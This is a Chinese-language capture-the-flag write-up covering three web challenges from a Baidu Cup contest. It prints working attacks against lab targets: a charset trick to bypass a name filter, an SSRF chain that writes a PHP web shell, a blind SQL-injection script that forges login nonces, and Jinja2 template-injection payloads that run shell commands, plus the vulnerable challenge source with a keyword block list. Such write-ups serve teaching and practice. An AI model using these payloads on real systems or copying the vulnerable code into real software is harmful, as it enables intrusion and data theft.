百度杯11月第二场web专场
Look
未做出。
访问的时候http包有X-HT: verify,嗯,这个是get的参数。
/?verify='%1%23
next page 5211ec9dde53ee65bb02225117fba1e1.php
发现响应头有:X-HT:viminfo
访问.viminfo
<?php
$con = mysql_connect('localhost','root','');
mysql_query("set names utf8");
mysql_select_db("ctf");
if($_SERVER["REMOTE_ADDR"]=='8.8.8.8'){
$name = addslashes($_GET['usern3me']);
}
else{
if(stripos($_GET['usern3me'],'Bctf2O16')!==false){
$name = 'FUCK';
}
else{
$name = addslashes($_GET['usern3me']);
}
}
echo 'hello '.$name;
$sql = "select * from admin where name='$name'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
echo '<br>next ***.php';
}
?>
就是要查询Bctf2O16,但是又不能出现这个,根据mysql字符集问题,Ç = c
http://01fb9ea00abe47909c8ab58c90675872d4c64ebba3ce466a.ctf.game/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=BÇtf2O16
/c3368f5eb5f8367fd548b228bee69ef2.php
<?php
if(isset($_GET['path']) && isset($_GET['filename'])){
$path = $_GET['path'];
$name = "upload/".$_GET['filename'];
}
else{
show_source(__FILE__);
exit();
}
if(strpos($name,'..') > -1){
echo 'WTF';
exit();
}
if(strpos($path,'http://127.0.0.1/') === 0){
file_put_contents($name,file_get_contents($path));
}
else{
echo 'path error';
}
?>
为极客出的一道题目。
这题在前面/5211ec9dde53ee65bb02225117fba1e1.php。$name是可以控制网页内容的,所以可以写shell。
http://01fb9ea00abe47909c8ab58c90675872d4c64ebba3ce466a.ctf.game/c3368f5eb5f8367fd548b228bee69ef2.php?path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520echo%2520`cat%2520../flag_is_here.php`;&filename=l.php
Mangager
又是这个题
./sources/login.js
$(document).keydown(function(e) {
if (e.keyCode == 222 || e.keyCode == 188 || e.keyCode == 190) {
alert("Illegal character");
return false;
}
});
function getnonce() {
var text = "";
var possible = "0123456789abcdef";
for (var i = 0; i < 40; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}
$('#submit').click(function() {
this._nonce = getnonce();
});
第一反应看起来很像通过submit给参数过去。从网上下载Bootstrap v3.3.7,与现在的diff一下。
function sign (data, key) {
var privateKey
var i, j
var W = new Array(80)
var A, B, C, D, E
var H0 = 0x97B5D3F1
var H1 = 0x1F3D5B79
var H2 = 0x684A2C0E
var H3 = 0xE0C2A486
var H4 = 0x33221100
var H5 = 0xF0F0F0F0
var temp
var _RSA = function (n, s) {
var t4 = (n << s) | (n >>> (32 - s))
return t4
}
var _Rot = function (val) {
var str = ''
var i
var v
for (i = 7; i >= 0; i--) {
v = (val >>> (i * 4)) & 0x0f
str += v.toString(16)
}
return str
}
str = unescape(encodeURIComponent(key + data))
var strLen = str.length
var wordArray = []
for (i = 0; i < strLen - 3; i += 4) {
j = str.charCodeAt(i) << 24 |
str.charCodeAt(i + 1) << 16 |
str.charCodeAt(i + 2) << 8 |
str.charCodeAt(i + 3)
wordArray.push(j)
}
switch (strLen % 4) {
case 0:
i = 0x080000000
break
case 1:
i = str.charCodeAt(strLen - 1) << 24 | 0x0800000
break
case 2:
i = str.charCodeAt(strLen - 2) << 24 | str.charCodeAt(strLen - 1) << 16 | 0x08000
break
case 3:
i = str.charCodeAt(strLen - 3) << 24 |
str.charCodeAt(strLen - 2) << 16 |
str.charCodeAt(strLen - 1) <<
8 | 0x80
break
}
wordArray.push(i)
while ((wordArray.length % 16) !== 14) {
wordArray.push(0)
}
wordArray.push(strLen >>> 29)
wordArray.push((strLen << 3) & 0x0ffffffff)
H0 ^= H5
H1 ^= H5
H2 ^= H5
H3 ^= H5
H4 ^= H5
for (privateKey = 0; privateKey < wordArray.length; privateKey += 16) {
for (i = 0; i < 16; i++) {
W[i] = wordArray[privateKey + i]
}
for (i = 16; i <= 79; i++) {
W[i] = _RSA(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1)
}
A = H0
B = H1
C = H2
D = H3
E = H4
for (i = 0; i <= 19; i++) {
temp = (_RSA(A, 5) + ((B & C) | (~B & D)) + 0x5A820000 + E + W[i] + 0x00007999) & 0x0ffffffff
E = D
D = C
C = _RSA(B, 30)
B = A
A = temp
}
for (i = 20; i <= 39; i++) {
temp = (_RSA(A, 5) + (B ^ C ^ D) + 0x6ED90000 + E + W[i] + 0x0000EBA1) & 0x0ffffffff
E = D
D = C
C = _RSA(B, 30)
B = A
A = temp
}
for (i = 40; i <= 59; i++) {
temp = (_RSA(A, 5) + ((B & C) | (B & D) | (C & D)) + 0x8F1B0000 + E + W[i] + 0x0000BCDC) & 0x0ffffffff
E = D
D = C
C = _RSA(B, 30)
B = A
A = temp
}
for (i = 60; i <= 79; i++) {
temp = (_RSA(A, 5) + (B ^ C ^ D) + 0xCA620000 + E + W[i] + 0x0000C1D6) & 0x0ffffffff
E = D
D = C
C = _RSA(B, 30)
B = A
A = temp
}
H0 = (H0 + A) & 0x0ffffffff
H1 = (H1 + B) & 0x0ffffffff
H2 = (H2 + C) & 0x0ffffffff
H3 = (H3 + D) & 0x0ffffffff
H4 = (H4 + E) & 0x0ffffffff
}
temp = _Rot(H0) + _Rot(H1) + _Rot(H2) + _Rot(H3) + _Rot(H4)
return temp.toLowerCase()
}
$(document).ready(function() {
$("#" + "f" + "r" + "m" + "l" + "o" + "g" + "i" + "n").submit(function(e) {
var z1 = $("#" + "u" + "s" + "e" + "r" + "n" + "a" + "m" + "e").val();
var z2 = $("#" + "p" + "a" + "s" + "s" + "w" + "o" + "r" + "d").val();
$('<' + 'i' + 'n' + 'p' + 'u' + 't' + '>').attr({
type: 'h' + 'i' + 'd' + 'd' + 'e' + 'n',
name: '_' + 'n' + 'o' + 'n' + 'c' + 'e',
value: sign(z1 + z2, "YTY" + "0Yj" + "M0Y" + "2Rh" + "ZTZ" + "iMj" + "liZ" + "jFj" + "OTQ" + "xOD" + "==")
}).appendTo('#' + 'f' + 'r' + 'm' + 'l' + 'o' + 'g' + 'i' + 'n');
});
});
sha1加密了用户名+密码,秘钥:YTY0YjM0Y2RhZTZiMjliZjFjOTQxOD==
和原题有点不一样,字段从information_schema获取就好了。另外注意的是字段里面有@,在mysql,这个是定义变量,所以要用反引号去包含。
a' or length(`p@ssw0rd`)=35#
exp:
#!/usr/bin/python
#coding:utf-8
#
#
import sys
reload(sys)
sys.setdefaultencoding('utf8')
import requests
from pyv8 import PyV8
URL='http://4e3b2c89e32c46deba504f93e4bba3872d6022769a004a6c.ctf.game/login.php'
a='''
function sign(data, key) {
var privateKey
var i, j
var W = new Array(80)
var A, B, C, D, E
var H0 = 0x97B5D3F1
var H1 = 0x1F3D5B79
var H2 = 0x684A2C0E
var H3 = 0xE0C2A486
var H4 = 0x33221100
var H5 = 0xF0F0F0F0
var temp
var _RSA = function (n, s) {
var t4 = (n << s) | (n >>> (32 - s))
return t4
}
var _Rot = function (val) {
var str = ''
var i
var v
for (i = 7; i >= 0; i--) {
v = (val >>> (i * 4)) & 0x0f
str += v.toString(16)
}
return str
}
str = unescape(encodeURIComponent(key + data))
var strLen = str.length
var wordArray = []
for (i = 0; i < strLen - 3; i += 4) {
j = str.charCodeAt(i) << 24 |
str.charCodeAt(i + 1) << 16 |
str.charCodeAt(i + 2) << 8 |
str.charCodeAt(i + 3)
wordArray.push(j)
}
switch (strLen % 4) {
case 0:
i = 0x080000000
break
case 1:
i = str.charCodeAt(strLen - 1) << 24 | 0x0800000
break
case 2:
i = str.charCodeAt(strLen - 2) << 24 | str.charCodeAt(strLen - 1) << 16 | 0x08000
break
case 3:
i = str.charCodeAt(strLen - 3) << 24 |
str.charCodeAt(strLen - 2) << 16 |
str.charCodeAt(strLen - 1) <<
8 | 0x80
break
}
wordArray.push(i)
while ((wordArray.length % 16) !== 14) {
wordArray.push(0)
}
wordArray.push(strLen >>> 29)
wordArray.push((strLen << 3) & 0x0ffffffff)
H0 ^= H5
H1 ^= H5
H2 ^= H5
H3 ^= H5
H4 ^= H5
for (privateKey = 0; privateKey < wordArray.length; privateKey += 16) {
for (i = 0; i < 16; i++) {
W[i] = wordArray[privateKey + i]
}
for (i = 16; i <= 79; i++) {
W[i] = _RSA(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1)
}
A = H0
B = H1
C = H2
D = H3
E = H4
for (i = 0; i <= 19; i++) {
temp = (_RSA(A, 5) + ((B & C) | (~B & D)) + 0x5A820000 + E + W[i] + 0x00007999) & 0x0ffffffff
E = D
D = C
C = _RSA(B, 30)
B = A
A = temp
}
for (i = 20; i <= 39; i++) {
temp = (_RSA(A, 5) + (B ^ C ^ D) + 0x6ED90000 + E + W[i] + 0x0000EBA1) & 0x0ffffffff
E = D
D = C
C = _RSA(B, 30)
B = A
A = temp
}
for (i = 40; i <= 59; i++) {
temp = (_RSA(A, 5) + ((B & C) | (B & D) | (C & D)) + 0x8F1B0000 + E + W[i] + 0x0000BCDC) & 0x0ffffffff
E = D
D = C
C = _RSA(B, 30)
B = A
A = temp
}
for (i = 60; i <= 79; i++) {
temp = (_RSA(A, 5) + (B ^ C ^ D) + 0xCA620000 + E + W[i] + 0x0000C1D6) & 0x0ffffffff
E = D
D = C
C = _RSA(B, 30)
B = A
A = temp
}
H0 = (H0 + A) & 0x0ffffffff
H1 = (H1 + B) & 0x0ffffffff
H2 = (H2 + C) & 0x0ffffffff
H3 = (H3 + D) & 0x0ffffffff
H4 = (H4 + E) & 0x0ffffffff
}
temp = _Rot(H0) + _Rot(H1) + _Rot(H2) + _Rot(H3) + _Rot(H4)
return temp.toLowerCase()
}
'''
ctxt = PyV8.JSContext()
ctxt.enter()
func=ctxt.eval(a)
sss=ctxt.locals.sign
print sss('11','YTY0YjM0Y2RhZTZiMjliZjFjOTQxOD==')
password='a'
string='!@#$%^&*aM0123456789qwertyuiopsdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBN'
def get_payload(x):
nonce=sss(x+password,'YTY0YjM0Y2RhZTZiMjliZjFjOTQxOD==')
payload = {
'username':x,
'password':'a',
'submit':'',
'_nonce':nonce
}
resp=requests.post(URL,payload).text
print x[21000:]
return 'Incorrect' in resp
p=''
for n in range(1,38):
for i in string:
x = "%s' or ascii(mid(`p@ssw0rd`,%d,1))=%d#" % (a*21000,n,ord(i))
if get_payload(x):
p=p+i
print str(n)+':password: %s' % p
break
python执行js代码,PyV8,这个环境需要v8,搭建比较麻烦,还可以用execjs这个库。
得到密码:MyIchunq1uSuperL0ng&&SecurePa$$word
向c26表哥学习,上面也可以不用python去执行js代码。直接用hashlib库去生成。
fuzz
先fuzz出参数是name
http://36dae1f6842442858c5e5b8d019505d87c0c6c524ef44611.ctf.game/?name=1
http://36dae1f6842442858c5e5b8d019505d87c0c6c524ef44611.ctf.game/?name={{3-1}}
Flask/Jinja2存在Flask/Jinja2漏洞:
http://wooyun.jozxing.cc/static/drops/tips-13683.html
执行命令:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
{{ config.from_pyfile('/tmp/owned.cfg') }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}
经过测试应该是限定了一些字符,可以通过$ {}来绕过
列目录:
a=l;b=s;$a$b /var/www/html/
获取flag:
a=c;b=at;c=fl;d=4g;$a$b /var/www/html/${c}${d}
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from flask import Flask, request, render_template_string, make_response
import os
import uuid
app = Flask(__name__)
@app.route('/')
def main():
name = request.args.get('name')
back_list = ('flag', 'fl4g', __file__, '*', 'ls', 'dir', 'socket')
if name is None:
return 'plz fuzz parameter'
for key in back_list:
if key in name:
return 'Excuse me???'
template = '<h1>Hello {0}</h1>'.format(name)
resp = make_response(render_template_string(template))
resp.set_cookie('name', name)
return resp
@app.route('/flag')
def flag():
# fake flag 23333
fake_flag = str(uuid.uuid4())
return 'flag{{{0}}}'.format(fake_flag)
@app.errorhandler(404)
def page_not_found(e):
name = request.cookies.get('name', 'guest')
template = '''<img src="data:image/jpg;base64,base编码字符">'''.format(name)
return render_template_string(template), 404
@app.errorhandler(500)
def internal_server_error(e):
name = request.cookies.get('name', 'guest')
template = '''
hi {0}, try again
'''.format(name)
return render_template_string(template), 500
if __name__ == '__main__':
app.debug = False
app.run(host = '0.0.0.0', port = 80)